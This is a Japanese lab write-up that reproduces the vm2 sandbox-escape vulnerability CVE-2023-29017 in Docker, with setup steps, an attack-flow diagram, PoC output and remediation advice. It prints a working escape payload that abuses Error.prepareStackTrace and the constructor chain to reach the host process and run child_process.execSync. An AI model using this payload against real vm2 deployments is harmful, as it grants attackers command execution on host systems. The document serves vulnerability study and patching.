
Node.js vm2 CVE-2023-29017 の Docker Compose と PoC による再現
[WHS 4期 31組] - 김건우(@gunwoo105)
vm2 は、信頼できない JavaScript を制限された環境で実行するための Node.js サンドボックスライブラリです。通常、サンドボックス内のコードは、Node.js の process, require, child_process やホストファイルシステムなどの機密機能にアクセスできないはずです。
しかし、vm2 3.9.14 以下では、未処理の非同期エラーが発生した際に Error.prepareStackTrace へ渡されるホストオブジェクトを安全に処理できません。攻撃者はこのオブジェクトのコンストラクタチェーンを悪用して、ホストコンテキストの Function コンストラクタと process オブジェクトを取得し、最終的に child_process を介して OS コマンドを実行できます。
| 構成要素 | バージョンおよび設定 |
|---|---|
| Node.js | 18.15.0 |
| vm2 | 3.9.14 |
| パッチバージョン | 3.9.15 |
| 実行環境 | Docker Compose |
| コンテナユーザー | node |
| サービスポート | 127.0.0.1:3000 |
| パッケージインストール | npm ci + package-lock.json |
脆弱な完成品イメージは使用せず、公式の Node.js ベースイメージとリポジトリに含まれるソースコードからイメージを直接ビルドします。Dockerfile では Node.js と vm2 のバージョンを検証し、バージョンが想定と異なる場合はビルドが失敗します。
RUN test "$(node --version)" = "v18.15.0" \
&& test "$(node -p "require('vm2/package.json').version")" = "3.9.14"
worker.js を別プロセスとして実行する理由は、PoC が未処理の非同期エラーを発生させるためです。攻撃の過程で worker が終了しても Web サーバーは実行を継続し、marker ファイルによって成功の有無を安定して検証できます。
以下の条件がすべて満たされている必要があります。
vm2 3.9.14 以下を使用している。vm2 をインストールしたすべてのサービスが自動的にリモート攻撃にさらされるわけではありません。攻撃者が制御したコードを vm2 で実行する機能が存在する必要があります。この演習の /execute エンドポイントは、そのユースケースを最小限に実装したものです。
攻撃の流れは次のとおりです。
悪意のある JavaScript の送信
│
▼
未処理の非同期エラーの発生
│
▼
Error.prepareStackTrace の呼び出し
│
▼
ホスト frames オブジェクトの露出
│
▼
ホスト Function コンストラクタの取得
│
▼
process → require → child_process
│
▼
コンテナ内の OS コマンド実行
docker compose build --no-cache

docker compose up -d vulnerable
コンテナの状態を確認します。
docker compose ps
curl -sS \
-w '\nHTTP_STATUS=%{http_code}\n' \
<http://127.0.0.1:3000/health>

docker compose run --rm poc
echo "exit_code=$?"
PoC は次の項目を自動的に検証します。
/tmp/vm2-pwned の生成有無の確認uid= が含まれるかどうかの確認ビルドから PoC までを一括で実行するには、次のコマンドを使用します。
docker compose up \
--build \
--abort-on-container-exit \
--exit-code-from poc
docker compose exec vulnerable sh -c '
echo "[Marker file]"
ls -l /tmp/vm2-pwned
echo
echo "[Command output]"
cat /tmp/vm2-pwned
'
docker compose down -v --rmi local --remove-orphans
完全な PoC は poc/poc.js に含まれています。中核となる payload は次のとおりです。
Error.prepareStackTrace = (error, frames) => {
const hostProcess =
frames.constructor.constructor('return process')();
hostProcess.mainModule
.require('child_process')
.execSync('id > /tmp/vm2-pwned');
};
(async () => {}).constructor('return process')();
Error.prepareStackTrace の再定義Error.prepareStackTrace = (error, frames) => {
エラー stack trace が生成される際に実行される関数を攻撃者が再定義します。
Function コンストラクタの取得frames.constructor.constructor
脆弱な vm2 が露出させたホスト frames オブジェクトのコンストラクタチェーンをたどり、ホストコンテキストの Function コンストラクタにアクセスします。
process オブジェクトの取得frames.constructor.constructor('return process')();
ホストコンテキストで process を返す関数を生成して実行します。
hostProcess.mainModule
.require('child_process')
.execSync('id > /tmp/vm2-pwned');
サンドボックス内部では提供されていない child_process を読み込み、Linux の id コマンドを実行します。
(async () => {}).constructor('return process')();
サンドボックスでは使用できない process を非同期関数が参照するようにして rejected Promise を作り、脆弱な stack trace 処理経路に到達させます。
正常な JavaScript は vm2 内部で実行され 42 を返しますが、OS コマンド実行の証拠は生成しません。
[2/4] Running benign JavaScript inside vm2
Normal JavaScript returned 42 without host command execution
悪意のある payload を送信すると vm2 サンドボックスを脱出し、脆弱な Node.js プロセスの権限でコンテナ内の id コマンドが実行されます。
[3/4] Sending CVE-2023-29017 payload
Host command output: uid=1000(node) gid=1000(node) groups=1000(node)
PoC は保存された証拠を再確認したうえで、成功状態を返します。
[4/4] Confirming persisted evidence
[SUCCESS] CVE-2023-29017 reproduced: vm2 sandbox escape led to host command execution.
exit_code=0

証拠ファイルを直接確認すると、次のような結果が出力されます。

marker ファイルは各実行の前に削除され、正常なコード実行の段階では生成されません。したがって、以前の実行結果が残ることによる誤検知を防ぎます。
影響を受けないバージョンに更新します。
{
"dependencies": {
"vm2": "3.9.15"
}
}
その後、lockfile を更新し、固定された依存関係でインストールします。
npm install --package-lock-only
npm ci
公式 Advisory は別個の workaround がないと説明しているため、脆弱なバージョンを使い続けることは推奨されません。
信頼できないコードをアプリケーションと同じ Node.js プロセスで実行しません。別のプロセス、コンテナ、または仮想マシンに隔離し、実行が終わったら環境を破棄します。
no-new-privileges を適用コード実行機能には強力な認証と認可を適用し、不特定のユーザーに公開された任意コード実行 API を運用しません。ただし、認証は攻撃対象領域を減らす補助的な対策であり、脆弱性そのものを修正する代替手段ではありません。
| ファイル | 役割 |
|---|
docker-compose.yml | 脆弱なサービスと PoC コンテナの構成および実行順序を定義 |
Dockerfile | 脆弱なサービスと PoC イメージを multi-stage 方式でビルド |
vulnerable/src/server.js | /health、/execute、/evidence エンドポイントを提供 |
vulnerable/src/worker.js | ユーザー入力を別プロセスの vm2 で実行 |
poc/poc.js | バージョン確認、正常対照群、攻撃および証拠確認の自動化 |
vulnerable/package-lock.json | 推移的依存関係を含むパッケージバージョンの固定 |